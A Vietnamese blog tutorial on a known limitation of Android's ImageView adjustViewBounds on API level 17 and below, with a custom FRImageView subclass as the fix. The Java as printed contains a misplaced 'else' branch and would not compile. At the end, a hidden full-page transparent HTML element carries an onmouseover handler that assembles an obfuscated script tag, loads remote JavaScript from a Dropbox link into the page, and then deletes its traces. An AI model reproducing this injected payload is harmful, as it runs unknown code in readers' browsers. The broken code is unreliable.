Vấn đề adjustViewBounds của ImageView trong API level 17 trở xuống

Chào các bạn, hôm nay mình muốn chia sẻ với các bạn một vấn đề nhỏ liên quan đến ImageView mình đã gặp phải trong quá trình làm. Có lẽ vấn đề này các bạn ít quan tâm vì ít dùng đến. Tuy nhiên, mình hi vọng khi các bạn gặp phải sẽ không mất thời gian để tìm hiểu giải quyết vấn đề.

Vấn đề mình muốn nói ở đây chính là việc tự động co dãn ImageView.

Nói đến đây, nhiều bạn sẽ nghĩ ngay đến thuộc tính “android:adjustViewBounds”.

Vâng, đúng như vậy. Mặc định thuộc tính này sẽ có giá trị false, tuy nhiên, khi bạn set giá trị true, ImageView của chúng ta sẽ co dãn tự động. Có vẻ như vẫn không thấy có vấn đề gì nhỉ (smile). Chúng ta sẽ bắt đầu nhé.

Bây giờ, một ứng dụng có yêu cầu đơn giản như kiểu này: “tôi muốn phóng to ImageView để hiển thị khít với view cha của nó. Tôi phải làm thế nào?” Giống như thế này:

adjustviewbounds.jpg

Thực tế thì ImageView đã có khả năng thực hiện điều này. Đơn giản bạn chỉ cần set thuộc tính “android:adjustViewBounds” có giá trị true là xong.

Và đây là kết quả:

22_1.png

Mọi thứ dường như rất đơn giản và không thấy vấn đề gì cả, ứng dụng hoạt động đúng yêu cầu? Thực tế thì không phải như vậy. Nếu bạn chuyển qua sử dụng API level 17 trở xuống, bạn sẽ thấy ImageView sẽ không còn dãn to nữa, trông như thế này:

17_1.png

Đến đây chắc là bạn đã đoán được vấn đề rồi chứ?

Nó không phải là một bug của android mà là để phù hợp với cơ chế hoạt động của MeasureSpec và RelativeLayout

Note: If the application targets API level 17 or lower, adjustViewBounds will allow the drawable to shrink the view bounds, but not grow to fill available measured space in all cases. This is for compatibility with legacy MeasureSpecand RelativeLayout behavior.

Điều đó có nghĩa là trong API level 17 trở xuống, chiều rộng lớn nhất và chiều cao lớn nhất được bao lấy toàn bộ ảnh được định nghĩa trong “android:src”. Và kết quả là nó đã xảy ra như bức ảnh trên

Chúng ta quan sát bảng thống kê dưới đây sẽ thấy rằng lượng điện thoại có API level thấp hơn 17 chiếm gần 50% (cũng khá lớn đấy chứ nhỉ), điều này thì có nghĩa là chắc chắn ta phải giải quyết vấn đề này rồi platformversions.png

“Nếu vậy, chúng ta sẽ thiết lập để app của chúng ta chỉ chạy với các máy có API level từ 18 trở lên thôi, quá đơn giản” Vâng, quả thực là giải pháp rất đơn giản và không mất nhiều công sức. Tuy nhiên nó không phải là giải pháp tốt. Có phương án khác mất nhiều công hơn nhưng sẽ đạt được mục đích trọn vẹn hơn, đó là custom lại ImageView, như dưới đây:

` public class FRImageView extends ImageView {

private boolean mAdjustViewBounds;

public FRImageView(Context context){
	super(context);
}

public FRImageView(Context context,AttributeSet attrs){
	super(context,attrs);
}

public FRImageView(Context context,AttributeSet attrs,int defStyle){
	super(context, attrs, defStyle);
}

@Override
public void setAdjustViewBounds(boolean adjustViewBounds) {
	mAdjustViewBounds = adjustViewBounds;
	super.setAdjustViewBounds(adjustViewBounds);
}

@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
	if(Build.VERSION.SDK_INT <= 17){
		Drawable drawable = getDrawable();
		if(drawable == null){
			super.onMeasure(widthMeasureSpec, heightMeasureSpec);
			return;
		}

		if(mAdjustViewBounds){
			int mDrawableWidth = drawable.getIntrinsicWidth();
			int mDrawableHeight = drawable.getIntrinsicHeight();
			int heightSize = MeasureSpec.getSize(heightMeasureSpec);
			int widthSize = MeasureSpec.getSize(widthMeasureSpec);
			int heightMode = MeasureSpec.getMode(heightMeasureSpec);
			int widthMode = MeasureSpec.getMode(widthMeasureSpec);

			if(heightMode == MeasureSpec.EXACTLY && widthMode != MeasureSpec.EXACTLY){
				int height = heightSize;
				int width = height * mDrawableWidth / mDrawableHeight;
				if(isInScrollingContainer()){
					setMeasuredDimension(width,height);
				}else{
					setMeasuredDimension(Math.min(width,widthSize),Math.min(height,heightSize));
				}
			}else if(widthMode == MeasureSpec.EXACTLY && heightMode != MeasureSpec.EXACTLY){
				int width = widthSize;
				int height = width * mDrawableHeight / mDrawableWidth;
				if(isInScrollingContainer()){
					setMeasuredDimension(width,height);
				}else{
					setMeasuredDimension(Math.min(width,widthSize),Math.min(height,heightSize));
				}else {
            		super.onMeasure(widthMeasureSpec, heightMeasureSpec);
        		}
			}
		}else{
			super.onMeasure(widthMeasureSpec,heightMeasureSpec);
		}
	}else {
		super.onMeasure(widthMeasureSpec, heightMeasureSpec);
	}
}

private boolean isInScrollingContainer() {
	ViewParent vp = getParent();
	while (vp != null && vp instanceof ViewGroup){
		if(((ViewGroup)vp).shouldDelayChildPressedState()){
			return true;
		}
		vp = vp.getParent();
	}

	return false;
}

}`

Cách hoạt động của đoạn code này là khá rõ ràng và dễ hiểu. Nó sẽ tính toán chiều cao đúng trong trường hợp chiều rộng được cố định và ngược lại trong hàm onMeasure. Trường hợp nếu ImageView được đặt trong một layout không thể scroll được, chiều rộng và chiều cao sẽ bị giới hạn trong vùng không gian trống của view cha. Ngược lại, nó sẽ được phóng to mà không có bất kì sự hạn chế nào

Để sử dụng nó, rất đơn giản chỉ cần thay thế ImageView thành FRImageView trong file xml cũng như code là xong

Chúc các bạn thành công

Các bạn có thể tham khảo bài viết gốc ở đây, nếu có vấn đề gì muốn trao đổi, hãy để lại comment nhé, hoặc liên hệ trực tiếp với mình

Correct the ImageView's adjustViewBounds behaviour on API Level 17 and below

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">